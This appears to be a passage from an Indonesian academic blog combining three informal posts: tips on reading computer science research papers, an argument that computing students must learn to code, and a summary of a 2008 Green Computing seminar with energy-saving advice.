Padahal ngotot fokus ke aspek teknis dari paper ilmiah akan membuat kita pusing, puyeng, mual, ngantuk, dan ga ngerti juntrungnya :) . Meskipun ada juga mahasiswa yang nekat memahami satu paper ilmiah sampai perlu waktu berbulan-bulan. Padahal sebenarnya kekuatan paper ilmiah bukan hanya dilihat dari aspek teknis. Nah lho, terus di bagian mana sebaiknya kita konsentrasi membaca sebuah paper ilmiah?

Pada hakekatnya ada empat hal utama yang perlu kita pahami dari sebuah paper ilmiah, khususnya paper di bidang computing (computer science). Empat hal utama tersebut adalah masalah penelitian, kontribusi (solusi), substansi dan kesimpulan. Kita tidak perlu langsung masuk ke substansi alias aspek teknis yang bikin pening kepala. Bahkan ketika kita menemukan bahwa masalah penelitian tidak berkualitas, maka kita tidak perlu melanjutkan lagi membaca paper tersebut. Bahasa mahasiswa kasmaran-nya, lupakan aku kembali padanya :)

Kembali ke masalah memahami paper, empat hal utama tersebut kalau dijabarkan adalah seperti di bawah. Penjabaran saya rangkumkan dari tulisan menarik dari Philip W. L. Fong, Amanda Stent, dan William G. Griswold (paper lengkap ada di referensi).

  1. Pahami Masalah Penelitian: Pahami, sebenarnya masalah penelitian apa yang sedang dibidik oleh paper tersebut. Pertanyaan lain untuk mengecek masalah penelitian di paper adalah seperti tertulis di bawah.

    • Apa motivasi mengerjakan penelitian itu?
    • Apakah ada hal penting (kritis) dalam bidang yang digarap yang ingin diselesaikan oleh paper tersebut?
    • Apakah penelitian bertujuan untuk mengatasi kelemahan dari pendekatan yang ada?
    • Apakah masalah penelitian cukup menantang atau unik?
  2. Pahami Kontribusi: Pahami, dari masalah penelitian yang dibidik, kontribusi seperti apa yang diklaim oleh penulis di paper ilmiah. Pertanyaan lain untuk mengecek kontribusi penelitian di paper adalah seperti tertulis di bawah.

    • Apa yang baru dan orisinil di paper itu?
    • Adakah pemahaman baru dari masalah penelitian yang diangkat?
    • Adakah metodologi baru untuk memecahkan masalah?
    • Adakah algoritma baru?
    • Adakah sistem atau tool software baru?
    • Adakah metode eksperimen baru?
    • Adakah teknik pembuktian baru?
    • Adakah notasi atau formalisme baru?
    • Apakah termasuk bidang penelitian baru?
  3. Pahami Substansi: Pahami, substansi dari kontribusi atau solusi seperti apa yang diklaim oleh peneliti bahwa itu hasil karyanya? Pertanyaan lain untuk mengecek substansi penelitian di paper adalah seperti tertulis di bawah.

    • Metodologi apa yang digunakan untuk memperkuat klaim?
    • Apa argumentasi dan teori utama dari paper?
    • Apakah telah dilakukan eksperimen, analisa data, simulasi, benchmark, studi kasus, dan contoh implementasi?
    • Apakah klaim kontribusi telah dibuktikan secara ilmiah?
  4. Pahami Kesimpulan: Pahami, bagaimana kesimpulan penelitian yang ditarik oleh peneliti lewat papernya? Pertanyaan lain untuk mengecek kesimpulan penelitian di paper adalah seperti tertulis di bawah.

    • Apa yang bisa kita pelajari dan dapatkan dari paper tersebut?
    • Apakah standard practice dari bidang ilmu berubah karena adanya penemuan baru di paper ini?
    • Apakah hasilnya bisa digeneralisasi dan diaplikasikan ke bidang yang lain?

Lebih maknyus lagi bila setelah memahami empat hal diatas, masalah penelitian, kontribusi, substansi, dan kesimpulan, kita masukkan ke dalam Kerangka Pemikiran yang sudah saya jelaskan sebelum tulisan ini.

BTW, bagi yang belum tahu darimana bisa download paper ilmiah yang dipublikasi di journal dan proceedings conference, jawabannya ada di tulisan saya tentang Literatur Ilmiah dan Jurnal Penelitian Gratis.

Untuk mahasiswa computing yang punya kelonggaran uang sekitar Rp 200 ribu, sebaiknya menjadi member ACM. ACM dan IEEE Computer Society adalah dua asosiasi yang paling disegani dan publikasinya paling shahih dan mutawatir (ilmu hadith kaleee ;) ) untuk bidang ilmu computing. Untuk wilayah Indonesia dan sekitarnya yang dikategorikan negara miskin hihihi, student membership plus fasilitas digital library hanya dicharge oleh ACM sebesar 18 USD pertahun. Klik disini untuk menjadi member ACM.

Ayo mulai baca lagi, kalau satu kali baca masih nggak paham, ya ulangi lagi dan ulangi lagi sampai kita bisa benar-benar paham :)

Tetap dalam perdjoeangan!

ttd-small.jpg

REFERENSI

  1. Philip W. L. Fong, How to Read a CS Research Paper?
  2. Amanda Stent, How to Read a Computer Science Research Paper
  3. William G. Griswold, How to Read an Engineering Research Paper

Wajibnya Skill Coding Bagi Mahasiswa Computing

netbeansMas Romi, saya mahasiswa jurusan teknik informatika, semester akhir dengan peminatan software engineering. Karena saya lemah di coding, kira-kira nanti kesulitan ga ya untuk mengerjakan tugas akhir? (Taufik, Universitas Swasta di Jakarta)
Inna lillahi wa inna ilaihi rajiun, segera lakukan taubat dan perbanyak istighfar :) Jurusan teknik informatika semester akhir, peminatan software engineering pula, ga bisa coding? Selama ini kemana aja om? :(
Lemahnya skill coding mahasiswa di Indonesia adalah penyakit gawat, menular, mematikan dan secepatnya harus diberantas tuntas :). Mungkinkah ini juga yang membuat produksi software kita secara kuantitas dan kualitas dibawah negara tetangga kita?

Ingat bahwa menurut laporan IDC dan Gartner, jumlah developer professional Indonesia mencapai 71.600 orang di tahun 2008. Jumlah developer kita tiga kalinya malaysia dan empat kalinya singapore loh :(
Wahai para mahasiswaku, andai kau tahu, jurusan computing di Indonesia mengambil acuan kurikulum IEEE Computing Curricula 2005. Asosiasi Perguruan Tinggi Informatika dan Komputer alias APTIKOM, yang menjadi wadah universitas yang memiliki jurusan atau prodi computing, membuat kurikulum inti yang mengacu ke IEEE Computing Curricula 2005, meskipun di beberapa sisi tidak konsisten :) Tidak konsisten karena Information System (Sistem Informasi) dan Computer Engineering (Teknik/Sistem Komputer) saja yang direkomendasikan jadi jurusan atau prodi. Computer Science (Ilmu Komputer), Information Technology (Teknologi Informasi) dan Software Engineering (Rekayasa Perangkat Lunak) disuruh tumplek beg di satu wadah namanya Teknik Informatika :(
Padahal sebenarnya pembobotan materi yang dibidik berbeda-beda. Silakan cek dari gambar di bawah, target kemampuan yang diharapkan dari lulusan masing-masing cabang ilmu computing menurut IEEE Computing Curricula 2005.
ieeecurricula2005.gif
Secara IEEE Computing Curricula 2005, mahasiswa prodi/jurusan/fakultas/ dibawah disiplin ilmu computing, boleh tidak mengerti masalah sistem informasi atau teoritika database (mahasiswa CE misalnya), boleh juga nggak ngerti arsitektur komputer (mahasiswa IS dan IT misalnya). Tapi seluruh mahasiswa wajib hukumnya, dan ini wajib ain sifatnya :) punya skill coding.
Grafik pembobotan kurikulum menurut IEEE Computing Curricula 2005 adalah seperti di bawah. Sekedar informasi, CE=Computer Engineering (Teknik Komputer), CS=Computer Science (Ilmu Komputer), IS=Information Systems (Sistem Informasi), IT=Information Technology (Teknologi Informasi), SE=Software Engineering (Rekayasa Perangkat Lunak). Kemampuan coding dan programming masuk di materi Software Methods and Technologies. Lihat bahwa semua cabang ilmu di bawah computing membuat lengkungan di materi itu, meskipun dengan bobot berbeda antara sisi theoritical dan applied. Dan lihatlah di cabang ilmu software engineering, bentuk ovalnya paling manis dan sempurna, khususnya bobot untuk aspek Software Methods and Technologies :)
Ketika ada dosen atau peneliti di kampus yang mengatakan bahwa coding dan programming tidak wajib bagi mahasiswa jurusan computing, itu sebenarnya mencederai dunia kurikulum IT di Indonesia dan dunia hehehe. Mahasiswa computing tanpa skill coding itu bagaikan garam tanpa asinnya :)
ce.jpg
cs.jpg
is.jpg
it.jpg
se.jpg
Wokeh, sebenarnya bagaimana kiat mendesain materi ajar dan mata kuliah supaya tidak ada mahasiswa computing yang terkena penyakit mental tersebut? :)
  • Desain mata kuliah untuk tidak mengajarkan banyak bahasa pemrograman dengan paradigma yang sama. Mengajari mahasiswa dengan banyak bahasa pemrograman, artinya mendidik mereka untuk tidak menguasai satupun bahasa pemrograman.
  • Fokuskan ke satu bahasa pemrograman utama dan gunakan untuk penugasan di setiap mata kuliah. Capai level mahir di satu bahasa programming baru berpindah ke bahasa pemrograman yang lain. Saya dulu di Saitama University sampai semester 4, hanya boleh menggunakan bahasa C untuk semua penugasan mata kuliah. Semester lima baru diajarkan Object-Oriented Programming (OOP). Konsep OOP benar-benar maknyus kita pahami, ketika kita sudah dibuat pusing memanage ribuan baris code pemrograman procedural. Konsep abstraction begitu nyata, teoritika inheritance begitu mempesona, dan hakekat class yang seperti cetakan kue dengan kuenya sendiri adalah object, begitu jelas, tuntas dan sempurna :)
  • Libatkan mahasiswa dalam berbagai project riil untuk melatih dan mendekatkan ilmu yang dipelajari ke dunia industri
  • Bila memungkinkan hindari ujian bergaya multiple choice, arahkan ke develop project atau laporan analisa
  • Bagi mahasiswa yang mengerjakan tugas akhir, khususnya untuk yang software (product) development, wajibkan menggunakan tahapan software development life cycle (specification, design, coding, testing). Latih menyusun business process dan mendesain software dengan menggunakan UML yang relatif sudah standard.
Di sisi mahasiswa, mahasiswa juga harus aktif, jangan malas untuk banyak mencoba dan mencoba. Ingat bahwa tidak akan bisa mengandalkan materi kuliah untuk menjadi mahir di pemrograman. Bila perlu bikin project software kecil-kecilan dan mulai tawarkan lewat internet. Melatih skill coding sekaligus juga jiwa entrepreneurship.
Wahai para mahasiswaku dan para pedjoeangku, ketika cintapun tak akan membunuhmu, jangan pula coding bisa membinasakanmu. Kuasai mereka, jadikanlah energi sehingga kalian mampu membuat software dan produk yang bermanfaat untuk rakyat � itulah jalan cinta para legenda!
Tetap dalam perdjoeangan!
ttd-small.jpg


Green Computing untuk Orang Lugu

Sabtu tanggal 20 Desember 2008, saya diminta teman-teman dari Fakultas Teknik Universitas Gajah Mada (UGM) Yogyakarta, mengisi satu sesi diskusi pada Seminar Nasional bertema Green Computing: ICT Concern Towards Energy (Green Computing 2008). Menariknya, yang membuka acara seminar adalah guru politik saya selama di Saitama University Jepang, yang biasa kita panggil dengan sebutan Jenderal Tumiran. Ya, sahabat, guru dan kadang saya anggap bapak saya sendiri ini, sekarang sudah menjadi Dekan Fakultas Teknik UGM. Seharian di UGM, saya diurusi oleh pak Suharyanto, ini juga sahabat yang saya warisi ilmu memasak spageti dan telor dadar tuna ala mahasiswa, selama di Saitama University :) Om suharyanto yang dulu naik sepeda hasil mulung di tempat sampah, alhamdulillah sekarang sudah naik KIA Carrens yang mewah hihihi. Thanks for everything om! Kembali ke materi, saya coba rangkumkan apa yang telah saya bahas di seminar tersebut.
GREEN COMPUTING ITU MAKHLUK APA
Cikal bakal Green Computing dimulai pada tahun 1992. Saat itu US Environmental Protection Agency merelease program Energy Star, yaitu program promosi dan penghargaan bagi penerap efisiensi energi pada teknologi monitor, pengontrol iklim, dan teknologi lain. Istilah Green Computing muncul dengan booming-nya Energy Star ini, khususnya merujuk ke bagaimana kita bisa efisien dalam konsumsi energi pada penggunaan produk computing. Landasan pergerakannya adalah kebutuhan akan economic viability (keberlangsungan hidup), social responsibility (tanggung jawab sosial) dan environmental impact (pengaruh lingkungan).
Para peneliti mengurai definisi Green Computing dengan sudut pandang yang sedikit berbeda. Kita bisa lihat dari beberapa di bawah:
How to use your computer more sustainably (Young Yi)
Information technology that is environmental friendly and energy efficient (Wachara Chantatub)
The study and practice of using computing resources efficiently (Rawan M. Al-Ghofaili)
Reduce the increasing amount of useless data/work (Jordi Torres)
Lima kata kunci yang muncul dari beberapa definisi diatas adalah, sustainability, environmental friendly, energi efficient, resource efficient dan reduce useless work. Ternyata Green Computing tidak hanya membahas tentang energy consumption, tapi juga bagaimana kita bisa menggunakan komputer plus berbagai tool dan konten dengan lebih efisien dan jelas manfaatnya.
Yang menarik bahwa laporan Gartner tentang 10 teknologi strategis tahun 2008 (10 most strategic technologies for 2008), menempatkan isu teknologi Green Computing di nomor urut pertama. Tentu kalau kita mau analisa lebih dalam, dari 10 teknologi tersebut, SOA dan Web 2.0 tetap mendominasi, meskipun terpecah di aspek misalnya Business Process Modeling, Metadata Management, Virtualization 2.0, Mashup & Composite Apps, Web Platform & WOASocial Software. Mungkin sedikit saya rangkumkan tentang laporan Gartner Group ini sebagai berikut: dan
  1. Green IT: Fokus ke mengurangi konsumsi listrik, jumlah carbon footprint dan melakukan efisiensi energi dan kerja
  2. Unified Communications: Konsentrasi ke migrasi PBX ke VoIP
  3. Business Process Modeling: Era baru setelah UML, Use Case Diagram tidak mencukupi untuk menggambarkan business process yang lebih kompleks. Business Process Modeling Notation (BPMN) dan berbagai approach mulai bermunculan
  4. Metadata Management: Khususnya teknologi enterprise untuk manajemen data produk dan pelanggan. Bagian penting dari SOA.
  5. Virtualization 2.0: Ketika virtualisasi adalah utilisasi server dan implementasi aplikasi, virtualisasi 2.0 akan membantu kita mengarahkan kekuatan teknologi untuk proses otomasi yang lebih sempurna.
  6. Mashup & Composite Apps: Mashups and composite applications akan menghubungkan intranet korporasi bergaya Web 2.0 dengan internet publik. Diramalkan gartner akan mendominasi model pengembangan aplikasi enterprise mulai tahun 2010.
  7. Web Platform & WOA: Kombinasi dari Software as a service (SaaS) dan SOA akan menghasilkan Web Oriented Architecture (WOA). Kadang disebut juga dengan istilah cloud computing
  8. Computing Fabric: Ambil beberapa server blade, koneksikan semuanya dengan intelligent interconnect, dan tampilkan dalam bentuk single operating system image. Itulah �computing fabric�. Tren akan terus berkembang di era ke depan.
  9. Real World Web: Peralatan GPS yang semakin bervariasi dan built-in pada PDA, handphone dan iPhone akan membuat banyak perusahaan bisa memberikan layanan (aplikasi dan data) kepada kita sesuai dengan lokasi kita saat ini
  10. Social Software: Aplikasi social networking akan menuju ke enterprise dan internet korporasi
TIPS GREEN COMPUTING
Saya menyajikan beberapa tips Green Computing dari aspek technical sampai strategis. Ternyata tidak sulit kok nge-Green itu :)
1. Green Computing on PC
  • Laptop hanya memerlukan 10% energi yang digunakan Desktop. Flat screen hanya menggunakan 30% energi yang digunakan oleh Monitor CRT
  • Coba upgrade RAM, sebelum memutuskan ganti komputer. Komputer lambat bisa karena kotornya registry atau ada background services yang berjalan padahal sebenarnya tidak kita perlukan. Cek dan matikan services yang sedang berjalan padahal tidak perlu itu. Misalnya untuk Windows jalankan Start > Run > type �msconfig�
  • Menggunakan PC dan printer dengan merk dan jenis sama memudahkan kanibalisme dan proses recycle
  • Matikan komputer ketika tidak digunakan (malam hari). Mematikan komputer akan mengurangi umur komputer adalah mitos yang salah
  • Screen saver is not energy saver. Pilih matikan monitor daripada menggunakan screen saver
  • Pilih virtualisasi daripada pembelian hardware baru (hemat 70% energi)
  • Pilih peripheral berlogo energy star
  • Catat bahwa mode power menentukan prosentase hemat energi (Sleep mode - hemat 70% energi, Standby mode - hemat 90% energi, Hibernate mode - hemat 98% energi)
  • Jangan cepat membuang PC, lakukan recycle atau donasi ke pihak lain apabila sudah tidak digunakan
2. Green Computing on Laptop
  • Gunakan power saving setting
  • Kurangi penggunaan backlight
  • Atur layar dan harddisk sleep/off setelah beberapa menit tanpa penggunaan
  • Matikan bluetooth dan wifi ketika tidak digunakan
  • Lepas kartu MMC, SD, USB Flash apabila tidak digunakan
  • Kecilkan volume suara dan kontras layar
  • Minimalisir penggunaan IrDA (infrared) atau serial communication, karena boros energi
  • Upgrade RAM sebelum ganti laptop
  • Jangan cepat membuang Laptop, lakukan recycle atau donasi ke pihak lain apabila sudah tidak digunakan
3. Green Computing on Paperless Method
Usahakan menggunakan paperless method untuk berbagai urusan kita karena itu mengurangi sampah carbon footprint. Apabila memungkinkan kembangkan dan terapkan Document Management System, Electronic Invoicing dan Electronic Business Process pada institusi kita.
4. Green Computing on Paperless Education
  • Hindari kertas, gunakan file elektronik or blog untuk pengumpulan laporan dan tugas
  • Lupakan cara konvensional, gunakan eLearning System untuk penyebaran modul ajar, forum diskusi dan assesment
  • Gunakan Chatting dan Social Networking untuk mendukung pembelajaran. Ingat bahwa chatting untuk pacaran or godain orang, are not Green Computing!
5. Green Computing on Paperless Branding and Marketing
  • Lupakan kartu nama, CV, koran dan majalah untuk personal branding
  • Lakukan blogging untuk personal branding, marketing, bisnis bahkan influencing people
  • Manfaatkan google sebagai kurir dan salesman kita dalam marketing dan branding
Dan akhirnya saya ucapkan selamat, karena ternyata orang lugupun bisa memahami dengan baik Green Computing beserta implementasinya dari berbagai sudut pandang :)